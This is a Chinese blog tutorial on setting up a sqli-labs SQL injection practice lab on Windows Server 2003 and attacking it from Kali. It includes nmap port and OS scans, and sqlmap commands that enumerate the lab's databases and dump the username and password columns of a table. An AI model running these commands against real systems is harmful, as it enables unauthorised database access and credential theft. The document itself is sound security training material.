Win Server 2003搭建Sql注入环境
Posted 坏坏-5
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Win Server 2003搭建Sql注入环境相关的知识,希望对你有一定的参考价值。
- 参考博客【SQL注入系列(一)——超详细SQL注入环境搭建】,原博主写得更为详细,如有疑惑,可参考原文章
实验环境说明
身份 | 系统版本 | IP地址 |
---|---|---|
服务器 | Windows Server 2003 | 192.168.43.128 |
攻击者 | Kali 5.3.0 | 192.168.43.5 |
软件及环境下载
-
- 【phpstudy官网】
- 我下载的是适用Windows的2016的版本【下载地址】
-
下载靶机环境
- 【Github项目地址】
- 【阿里云盘下载地址】(因为有分享限制,已经将压缩包解压)
软件安装与环境部署
- 安装phpstudy软件,注意安装路径,可能需要修改
- 因为使用的是虚拟机环境,我是将软件安装在
E:\\phpStudy
下的 - 需要关闭防火墙(因为作为靶机使用,安装完成系统后,就已经将防火墙关闭了)
- 因为使用的是虚拟机环境,我是将软件安装在
- 安装完成后,启动phpStudy,同时启动服务
- 因为服务器还开启了IIS服务,所以80端口被占用,这里修改为了8080端口。如果启动服务端口被占用,可以关闭相应端口的服务或者更换phpStudy的服务端口
-
访问测试
- 使用地址
192.168.43.128:8080/phpinfo.php
(如果没有修改端口,则不需要使用端口号) - 出现如下情况即表示成功
- 使用地址
-
将靶场环境复制进服务器中
- 将下载的靶场环境文件放入到phpStudy的环境中
- 将整个
sqli-labs-master
文件夹复制到E:\\phpStudy\\WWW
中(如果是Github下载的压缩包,需要解压) - 找到
E:\\phpStudy\\WWW\\penetration\\sql-connections
文件夹下的db-creds.inc
文件,将$dbpass =''
后的引号内添加数据库的密码($dbpass ='root'
)- Github项目的需要自己更改,阿里云盘下载的已经修改了
- 如果更改过MySql数据库的密码,可以通过以下方式查看密码
- 访问靶场环境测试
- 使用
http://192.168.43.128:8080/sqli-labs-master
访问测试(这里我修改了靶场环境的文件夹名,所以是http://192.168.43.128:8080/penetration
) - 点击
Setup/reset Database for labs
检查是否可以正常连接数据库
- 使用
- 环境搭建完成!
Kali测试
nmap测试
-
nmap的端口状态
-
open
:端口是开放的 -
closed
:端口是关闭的 -
filtered
:端口被 Firewall/IDS/IPS 屏蔽,无法确定其状态 -
unfiltered
:端口没有被屏蔽,但是否开放需要进一步确定 -
open|filtered
:端口是开放的或被屏蔽 -
closed|filtered
:端口是关闭的或被屏蔽
-
-
常用选项
-p
扫描指定端口-f
快速模式-扫描比默认扫描更少的端口-v
显示扫描过程-A
全面系统检测、启用脚本检测、扫描等-V
显示版本号-h
帮助信息-exclude-ports
从扫描中排除指定端口-top-ports
扫描最常用的端口-open
仅显示开放的端口-sS
使用TCP的SYN进行扫描-sT
使用TCP进行扫描-sU
UDP扫描
-
使用命令
nmap -p 22,23,80,3389 192.168.43.128
,扫描22、23、80、3389端口是否开启- 由扫描结果可以看到只开启了80和3389端口
- 使用命令
nmap -O 192.168.43.128
,扫描主机的操作系统- 根据扫描结果,可以看到主机开放的端口和主机的操作系统
sqlmap测试
- 在使用sqlmap工具时,报错
[22:18:19] [WARNING] you haven't updated sqlmap for more than 920 days!!!
- 使用命令
sqlmap --update
更新sqlmap工具
- 要保证Kali可以联网
- 常用选项
-h
帮助文档-v
显示详细信息-d
直接连接数据库-u
指定url扫描,url必须存在查询参数。例xxx.php?id=1
-l
后面跟一个log文件,判断log(日志)文件中所有记录是否存在注入点--version
查看sqlmap版本信息--dbs
查看目标服务器有什么数据库--tables
目标主机中的数据库有什么数据表--columns
获取目标主机中数据库的列数信息--dump
查询指定范围的所有数据--search
查询目的主机是否存在相当应的列、表和数据库-D
指定数据库-T
指定数据表-C
指定字段
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1"
扫描,检查是否存在注入漏洞
- 可以看到靶机的PHP、Apache、MySQL的版本信息
- URL后一定要有
?id=1
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -dbs
,获取数据库信息
- 可以看到存在的数据库
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test --tables
,获取数据库中的表单信息
- 可以看到test数据库中的存在的表单
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy --columns
,获取表单中的所有字段信息
- 可以看到badboy表单中所有的字段信息
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy -C username --dump
,获取表单中的指定字段的内容信息
- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" -D test -T badboy -C password --dump
,获取表单中的admin的密码信息
- 在进行测试的过程中,在服务器更改了数据库内容,添加了表单,但是在使用Sqlmap获取数据库表单时,没有更新出新的表单。服务重启、服务器重启、Kali重启都还是没有更新出新的表单
- 因为sqlmap在进行注入时,会有缓存记录保存在
/root/.local/share/sqlmap/output
中- 解决办法
- 使用命令
rm -rf /root/.sqlmap/output/x.x.x.x
删除旧的缓存记录,x.x.x.x
表示注入的IP地址。删除后重新启动- 使用命令
sqlmap -u "http://192.168.43.128:8080/penetration/Less-1/?id=1" --purge
清理缓存
以上内容均属原创,如有不详或错误,敬请指出。
本文作者:
坏坏
本文链接: http://t.csdn.cn/KTtHS
版权声明: 本博客所有文章除特别声明外,均采用
CC BY-NC-SA 4.0 许可协议。转载请联系作者注明出处并附带本文链接!以上是关于Win Server 2003搭建Sql注入环境的主要内容,如果未能解决你的问题,请参考以下文章